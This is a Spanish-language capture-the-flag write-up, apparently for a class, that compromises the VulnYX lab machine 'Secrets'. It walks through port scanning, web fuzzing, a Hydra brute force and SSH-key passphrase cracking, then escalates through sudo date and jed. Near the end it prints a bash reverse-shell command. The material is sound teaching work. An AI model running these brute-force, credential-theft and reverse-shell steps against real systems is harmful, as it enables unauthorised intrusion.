Writeup - Máquina Secrets (VulnYX)
Resolución completa de la máquina Secrets de VulnYX. Video arriba con el paso a paso, resumen técnico abajo.
1. Setup
Importar el .ova en VirtualBox y conectar el adaptador a red SEGINFO
(la red NAT del primer writeup, ver Wicca
si no está armada).
| Máquina | IP |
|---|---|
| Kali | 10.0.3.5 |
| Secrets | 10.0.3.9 |
2. Enumeración
Primero un escaneo rápido de todos los puertos:
sudo nmap -p- --open -T5 -v -n -Pn 10.0.3.9
Aparecen abiertos 22 y 80. Sobre esos dos, escaneo de servicios:
sudo nmap -sV -p22,80 -v 10.0.3.9
- 22/tcp (OpenSSH)
- 80/tcp (Apache httpd 2.4.8)
Entrando a http://10.0.3.9/ aparece un mensaje pidiendo “decir un secreto”.
En el código fuente se menciona a un tal Brad (futuro usuario).
3. Fuzzing de directorios con wfuzz
Para encontrar rutas no listadas:
wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-u http://10.0.3.9/FUZZ \
--hc 404
La salida está llena de respuestas con 68 líneas (página por defecto, ruido).
Las filtramos con --hl 68:
wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-u http://10.0.3.9/FUZZ \
--hc 404 --hl 68
Aparece un 301 a /secrets/. Visitamos esa ruta y otra vez nos pide
un secreto, sin más información.
4. Fuzzing de archivos PHP/TXT
Apache + PHP, así que buscamos archivos con dos variables (ruta y extensión):
wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-w /usr/share/wordlists/extensions/php-txt.txt \
-u http://10.0.3.9/secrets/FUZZ.FUZ2Z \
--hc 404
Ahora el ruido es de 19 líneas, así que añadimos --hl 19 y aparece
un 200 en login_form.php:
http://10.0.3.9/secrets/login_form.php
5. Login + Hydra
El formulario pide usuario y contraseña. Probando brad / brad y
brad / 1234 devuelve “Invalid Credentials”. Interceptando con Burp Suite
hay un detalle clave: el form no postea a sí mismo, postea a un
archivo con nombre random tipo MK67IT044XYGGIIWLGS9.php. Ese nombre
no aparece en el fuzzing, solo se ve interceptando la petición real:
POST /secrets/MK67IT044XYGGIIWLGS9.php
user=brad&password=...
Si le tiramos Hydra a login_form.php no va a funcionar. Hay que
apuntarle al endpoint real y al parámetro real (password, no pass):
# Si rockyou está comprimido, descomprimir primero:
gunzip /usr/share/wordlists/rockyou.txt.gz
hydra -V -t 50 \
-l brad \
-P /home/kali/Desktop/rockyou.txt \
10.0.3.9 \
http-form-post "/secrets/MK67IT044XYGGIIWLGS9.php:user=^USER^&password=^PASS^:Invalid Credentials" \
-f -I
Notas del comando:
-Vactiva verbose y muestra cada intento.-t 50usa 50 conexiones en paralelo.-fcorta apenas encuentre la primera credencial válida.-Iignora sesiones previas.- En el módulo
http-form-post, el body del POST va después de los:, y la última parte (Invalid Credentials) es el patrón que NO debe aparecer en una respuesta válida.
Resultado: brad : bradley.
6. IP en decimal y captura con Wireshark
Tras el login el sitio pide una IP, solo números. Eso es la IP en
formato decimal entero (cada octeto son 8 bits, un solo entero de 32 bits).
Para 10.0.3.5 se puede usar cualquier conversor online o:
python3 -c "import ipaddress; print(int(ipaddress.IPv4Address('10.0.3.5')))"
# 167772933
Antes de mandar la IP, levantamos Wireshark escuchando en eth1
(filtro tcp.flags.syn == 1) para ver si la máquina hace algo hacia
nosotros. Al enviar el secreto, llega un SYN desde 10.0.3.9 hacia
10.0.3.5 al puerto 6666.
Levantamos un netcat en ese puerto y volvemos a enviar la IP:
nc -lvnp 6666
Recibimos una clave privada RSA encriptada con passphrase.
7. Crackeo de la clave SSH (ssh2john + john)
Guardamos la clave como rsa.key y la pasamos al formato que entiende
John the Ripper:
locate ssh2john # /usr/share/john/ssh2john.py en algunas distros
ssh2john rsa.key > rsa.hash
john --wordlist=/home/kali/Desktop/rockyou.txt rsa.hash
Passphrase: security.
8. SSH como brad y user.txt
chmod 600 rsa.key
mv rsa.key id_rsa
ssh -i id_rsa brad@10.0.3.9
# passphrase: security
Adentro:
cat user.txt # primera flag
sudo -l
sudo -l muestra que brad puede correr /usr/bin/date como
fabian sin contraseña.
9. Lateral a Fabián vía date (GTFOBins)
Buscamos date en GTFOBins
y permite leer archivos arbitrarios con -f.
Truco clásico: leer el .bash_history del usuario destino. Muchas veces
queda guardado el comando en el que se cambió la contraseña con la
contraseña en texto plano:
sudo -u fabian /usr/bin/date -f /home/fabian/.bash_history
En la salida aparece la línea donde Fabián se cambió el password y, sí, ahí está la clave en plano. Cambiamos de usuario:
su fabian
# password: S3cr3t$$$L0v3$$$
10. Escalada a root con sudo jed
Como Fabián, otra vez sudo -l y aparece /usr/bin/jed como root
sin password. jed es un editor de texto medio antiguo, estilo emacs,
con menú navegable por F10. No tiene entrada en GTFOBins, pero el
menú System > Shell Command permite ejecutar comandos arbitrarios
como root.
sudo jed
# F10 > System > Shell Command
Como la shell interna del menú es bastante limitada, en vez de pelear con ella mandamos una reverse shell.
En Kali:
nc -lvnp 2674
En Shell Command (corriendo bajo sudo):
bash -c 'bash -i >& /dev/tcp/10.0.3.5/2674 0>&1'
Recibimos la conexión como root:
whoami # root
cat /root/root.txt
Y de paso recogemos la user.txt de Brad si quedó pendiente:
cat /home/brad/user.txt
Resumen del ataque
nmap -p-y luegonmap -sVsobre 22 y 80.wfuzzde directorios encuentra/secrets/.wfuzzcon dos diccionarios y extensiones encuentralogin_form.php.- Burp revela que el POST va a un endpoint random (
MK67IT044XYGGIIWLGS9.php). - Hydra
http-form-postapuntando al endpoint real con rockyou dabrad:bradley. - La app pide IP en decimal (SSRF), Wireshark detecta callback al puerto 6666.
nc -lvnp 6666recibe la RSA key encriptada.ssh2johnyjohncon rockyou sacan la passphrasesecurity.- SSH como
bradyuser.txt. sudo -lpermite/usr/bin/datecomofabian, leer.bash_history(GTFOBins) saca el password de Fabián.sudo -lcomo Fabián habilitajed, System > Shell Command, reverse shell,root.txt.
Dos flags. Cualquier consulta sobre el writeup, me la hacen llegar y la respondo. Nos vemos en clases.